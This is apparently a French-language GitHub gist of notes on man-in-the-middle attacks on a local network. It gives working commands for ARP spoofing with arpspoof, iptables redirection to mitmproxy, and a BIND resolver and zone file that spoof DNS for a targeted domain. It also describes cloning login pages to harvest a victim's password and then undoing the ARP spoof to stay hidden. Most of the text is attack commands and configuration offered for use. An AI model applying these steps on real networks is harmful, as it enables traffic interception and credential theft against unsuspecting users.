Skip to content

Instantly share code, notes, and snippets.

@jmbarbier
Created December 19, 2013 00:51
Show Gist options
  • Save jmbarbier/8032485 to your computer and use it in GitHub Desktop.
Save jmbarbier/8032485 to your computer and use it in GitHub Desktop.
MITM tests

Solution AP + mitmproxy

via mitmproxy (pip install mitmproxy), sur pseudo point d'accès wifi par exemple :

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443  -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80  -j REDIRECT --to-port 8080
sysctl -w net.ipv4.ip_forward=1
mitmproxy -T --host

Fait passer tout le traffic web par mitmproxy

  • invisible sur le trafic http, possibilité de replay / enregistrement / modification
  • visible sur le trafic https because le certificat présenté est celui de mitmproxy => alerte à chaque https y compris ceux non ciblés

Solution arp spoofing sur réseau

faire passer tout le traffic via machine attaquante en se positionnant entre l'attaqué et la passerelle par défaut : utilisation de dsniff / arp

arpspoof -t IPMACHINEATTAQUEE IPGW

vérification sur machine attaquée :

arp -a # la mac du routeur est remplacée par la mac de la machine attaquante

à partir de ce moment on se retrouve dans la situation ci-dessus (AP) et les mêmes problématiques de certificat.

Solution au problème de certificat / vol de mdp = dnsspoof + fishing

Ajout à une des solutions ci-dessus : permet d'avoir un trafic https normal pour les pages non ciblées, et de tranformer les pages https des sites ciblés en pages http statiques (sorte de fishing).

Rediriger sans interception (au pire log des paquets bruts si envie) le trafic https

# virer iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443  -j REDIRECT --to-port 8080

Rediriger le trafic http vers le proxy, SAUF le trafic directement à destination de l'ip de la machine attaquante

iptables -t nat -A PREROUTING -i eth0 -p tcp --destination ! IPATTAQUANTE --dport 80 -j REDIRECT --to-port 8080

Configurer un serveur apache, et des copies html des pages de connection des services qu'on veut attaquer. Faire un virtualhost par service, avec un server name et une hiérarchie de répertoires correspondant à l'url des pages ciblées (wget est parfait pour ça). Copier aussi les pages d'erreur de mdp ou des pages d'erreur autres..

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80  -j REDIRECT --to-port 8080
sysctl -w net.ipv4.ip_forward=1
mitmproxy -T --host

Configurer un résolveur (bind), le faire tourner sur un port genre 8053, rajouter des zones master correspondant aux sites ciblés (facebook.com --> IP ATTAQUANT)

cfg bind (named.conf) :

listen-on 8053 { any; };
querylog true;
zone "domainecible.fr" { type master; file "/etc/bind/spoof.domainecible.conf"; };

zone file (spoof.domainecible.zone):

$TTL 30  ; TTL très court (pour retour rapide situation normale)
$ORIGIN domainecible.fr.
@  1D  IN  SOA ns1.pipo.com. hostmaster.pipo.com. (
                              2013121601 ; serial
                              3H ; refresh
                              15 ; retry
                              1w ; expire
                              3h ; minimum
                             )
       IN  NS     ns1.pipo.com. 
       IN  NS     ns2.pipo.com. 
www    IN  A      192.168.0.1  ; web server definition
*   IN  A      192.168.0.1

Intercepter le trafic DNS avant le forward, et le rediriger vers le résolveur local :

iptables -t nat -A PREROUTING -i eth0 -p udp  --dport 53 -j REDIRECT  --to 127.0.0.1:8053
iptables -t nat -A PREROUTING -i eth0 -p tcp  --dport 53 -j REDIRECT  --to 127.0.0.1:8053

Sur la machine attaquée, vérifier que le DNS de la machine ciblée a été modifié :

dig domainecible.fr  # ANSWER : IPATTAQUANTE
wget domainecible.fr # choppe la page servie par IPATTAQUANTE

A partir de ce moment, on a la "victime" qui croit être sur le domaine ciblé et qui en fait se trouve en clair sur notre ordinateur... on peut imaginer ce qu'on veut. Et pour rester discret, une fois que l'attaquant a son mdp, on déspoofe l'ARP et tout revient comme avant.

Problèmes : lorsque les liens sont suivis en https, on a encore un pb de certif...

Amélioration possibles : reverse proxy au lieu de fishing bête ?

@peter76111
Copy link

dig domainecible.fr # ANSWER: IPATTAQUANTE

wget domainecible.fr mug page served by the IPATTAQUANTE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment